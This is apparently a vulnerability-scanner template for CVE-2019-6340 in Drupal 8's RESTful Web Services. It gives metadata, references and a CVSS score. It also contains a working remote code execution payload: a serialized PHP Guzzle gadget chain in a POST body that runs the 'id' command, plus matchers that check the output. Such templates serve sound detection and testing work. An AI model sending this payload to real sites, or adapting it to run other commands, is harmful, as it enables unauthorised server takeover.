id: CVE-2019-6340

info:
  name: Drupal 8 core RESTful Web Services RCE
  author: madrobot
  severity: high
  description: Some field types do not properly sanitize data from non-form sources in Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10. This can lead to arbitrary PHP code execution in some cases.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-6340
    - https://www.drupal.org/sa-core-2019-003
    - http://web.archive.org/web/20210125004201/https://www.securityfocus.com/bid/107106/
    - https://www.synology.com/security/advisory/Synology_SA_19_09
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2019-6340
    cwe-id: CWE-502
  tags: cve,cve2019,drupal,rce,cisa

requests:
  - method: POST
    path:
      - '{{BaseURL}}/node/1?_format=hal_json'

    body: '{
  "link": [
    {
      "value": "link",
      "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
    }
  ],
  "_links": {
    "type": {
      "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default"
    }
  }
}'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "uid="
          - "gid="
          - "groups="
        condition: and
        part: body
      - type: status
        status:
          - 200